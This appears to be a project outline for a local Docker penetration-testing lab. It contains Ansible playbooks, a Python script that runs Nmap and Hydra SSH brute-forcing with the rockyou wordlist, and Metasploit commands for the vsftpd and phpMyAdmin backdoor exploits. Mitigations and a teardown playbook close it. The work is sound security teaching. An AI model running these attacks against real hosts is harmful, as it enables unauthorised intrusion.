- Developing a Python Script for Automated SSH Brute-Force Simulation Using Hydra and Nmap
- Demonstrating a Metasploit-Based Penetration Test Against a Dockerized Linux Target
- Python Automation: Demonstrate an automation script using Python that performs Nmap scanning and brute-force SSH with Hydra.
- Metasploit Demo: Show how to use
msfconsolefrom Kali to exploit a known vulnerability in a Linux container.
- Python 3 (automation scripting)
- Docker (container runtime)
- Kali Linux Docker image (attacker)
- Ubuntu Docker image with OpenSSH server (target)
- Metasploitable2 Docker container (vulnerable target)
- Hydra (brute-force tool)
- Nmap (network scanner)
- Metasploit Framework
- Ansible (automation)
colima listdocker context use colimaFile: setup-target.yml
- name: Set up Ubuntu SSH Target
hosts: localhost
connection: local
tasks:
- name: Start Ubuntu SSH target container
community.docker.docker_container:
name: target_ssh
image: ubuntu
state: started
recreate: yes
command: /bin/bash
tty: yes
interactive: yes
published_ports:
- "2222:22"
- name: Install and configure SSH in container
community.docker.docker_container_exec:
container: target_ssh
command: |
bash -c "apt update && apt install openssh-server -y && service ssh start && echo 'root:toor' | chpasswd"Run with:
ansible-playbook setup-target.ymlFile: setup-kali.yml
- name: Set up Kali Attacker Container
hosts: localhost
connection: local
tasks:
- name: Start Kali container
community.docker.docker_container:
name: kali_attacker
image: kalilinux/kali-rolling
state: started
recreate: yes
command: /bin/bash
tty: yes
interactive: yes
- name: Install tools in Kali
community.docker.docker_container_exec:
container: kali_attacker
command: |
bash -c "apt update && apt install -y hydra nmap python3 metasploit-framework wordlists && gunzip /usr/share/wordlists/rockyou.txt.gz"Run with:
ansible-playbook setup-kali.ymlFile: setup-metasploit.yml
- name: Set up Metasploitable2 Container
hosts: localhost
connection: local
tasks:
- name: Start Metasploitable2 container
community.docker.docker_container:
name: metasploit_target
image: tleemcjr/metasploitable2
state: started
recreate: yes
command: /bin/bash
tty: yes
interactive: yes
published_ports:
- "8180:80"
- "2223:22"Run with:
ansible-playbook setup-metasploit.ymlFile: ssh_bruteforce.py
import os
target_ip = "host.docker.internal"
target_port = 2222
username = "root"
wordlist = "/usr/share/wordlists/rockyou.txt"
print("[*] Scanning with Nmap...")
os.system(f"nmap -p {target_port} {target_ip}")
print("[*] Launching Hydra brute-force attack...")
os.system(f"hydra -l {username} -P {wordlist} -s {target_port} ssh://{target_ip}")Run it:
docker exec -it kali_attacker python3 ssh_bruteforce.pydocker exec -it kali_attacker msfconsoleTry exploits:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST host.docker.internal
set RPORT 21
runOr:
use exploit/unix/webapp/phpmyadmin_3522_backdoor
set RHOST host.docker.internal
set RPORT 8180
run- Show Nmap scan and Hydra login crack.
- Use Metasploit to gain access to vulnerable service.
- Use firewalls to block unnecessary ports.
- Patch known vulnerable services.
- Use strong credentials.
- Disable root SSH login.
- Title slide
- Background: Hydra, SSH, Metasploit
- Why this project: Brute-force + vulnerability demo
- Technical concepts: Python, Nmap, Kali, Docker
- Lab setup: Docker
- Live or recorded demo
- Summary and mitigation
File: lab-cleanup.yml
- name: Clean up Docker Containers
hosts: localhost
connection: local
tasks:
- name: Remove Kali container
community.docker.docker_container:
name: kali_attacker
state: absent
force_kill: true
- name: Remove Ubuntu SSH target
community.docker.docker_container:
name: target_ssh
state: absent
force_kill: true
- name: Remove Metasploitable2 container
community.docker.docker_container:
name: metasploit_target
state: absent
force_kill: trueRun it:
ansible-playbook lab-cleanup.yml- Demonstrates automated brute-force and vulnerability exploitation
- Combines Python scripting, Docker, Metasploit
- Fully portable, quick-to-setup lab
- All Ansible-based automation for setup and teardown